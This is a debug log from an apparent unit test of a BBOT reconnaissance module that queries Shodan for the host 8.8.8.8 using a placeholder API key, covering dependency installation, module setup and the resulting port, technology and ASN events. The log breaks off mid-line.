+2026-02-27 22:06:12,005 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:06:12,005 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:06:12,006 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:06:12,154 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:06:12,780 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:06:12,780 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:06:12,780 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:06:12,781 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:06:13,015 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:06:13,017 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:06:13,131 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:06:13,131 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:06:13,188 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:06:13,195 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:06:13,196 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:06:13,954 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:06:13,955 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:06:16,751 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:06:16,751 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:06:16,752 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:06:19,126 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:06:19,127 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:06:19,132 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:06:19,133 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:06:19,133 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:06:19,134 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:06:19,134 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:06:19,134 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:06:19,135 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:06:19,135 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:06:19,135 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:06:19,136 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:06:19,142 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ng1ta6kii8lisgq4j5bj +2026-02-27 22:06:20,432 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:06:20,432 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:06:20,434 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:06:20,575 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:06:20,575 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:06:20,576 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:06:20,579 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:06:20,579 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:06:20,580 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:06:20,580 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:06:20,581 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:06:20,581 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:06:20,582 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:06:20,582 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:06:20,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:06:20,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:06:20,583 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:06:20,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:06:20,583 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:06:20,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:06:20,584 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:06:20,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:06:20,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:06:20,584 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:06:20,585 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:06:20,585 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:06:20,586 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:06:20,586 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:06:20,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:06:20,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:06:20,587 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:06:20,588 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:06:20,589 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:06:20,589 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:06:20,589 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:06:20,590 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:06:20,748 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_11kmtpu54e +2026-02-27 22:06:20,748 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:06:20,866 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:06:20,866 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:06:20,867 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:06:20,869 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 22:06:20,969 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:06:20,971 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:06:20,972 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:06:20,973 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check +2026-02-27 22:06:20,973 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-02-27 22:06:20,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:06:20,975 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:06:20,976 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target +2026-02-27 22:06:20,978 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:06:20,979 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:06:20,979 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:06:20,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:06:20,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:06:20,981 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:06:20,982 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:06:20,990 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:06:20,990 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:06:20,990 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:06:20,991 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:06:20,992 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-02-27 22:06:20,992 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded +2026-02-27 22:06:20,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-02-27 22:06:20,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:06:20,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:06:20,996 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:06:21,108 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:06:21,113 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) +2026-02-27 22:06:21,114 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:06:21,115 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:177ce21b3b68cb631425d8904cfe9e7d831028c0', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:06:21,115 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET +2026-02-27 22:06:21,115 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check +2026-02-27 22:06:21,116 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,116 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,118 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-02-27 22:06:21,118 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,119 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,120 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,121 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,121 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:06:21,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,122 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:06:21,123 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:06:21,123 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,124 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,124 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,124 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,125 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,125 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:06:21,125 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,126 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,126 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,127 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:06:21,127 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:06:21,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-02-27 22:06:21,129 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,129 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) because precheck succeeded +2026-02-27 22:06:21,130 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,130 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,130 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,131 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,131 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,132 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,133 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,133 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:06:21,134 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,134 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:06:21,135 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:06:21,135 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:06:21,136 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,136 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,137 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,137 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,138 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,138 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:06:21,139 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:06:21,140 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 22:06:21,140 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,141 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,141 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,143 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,144 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding 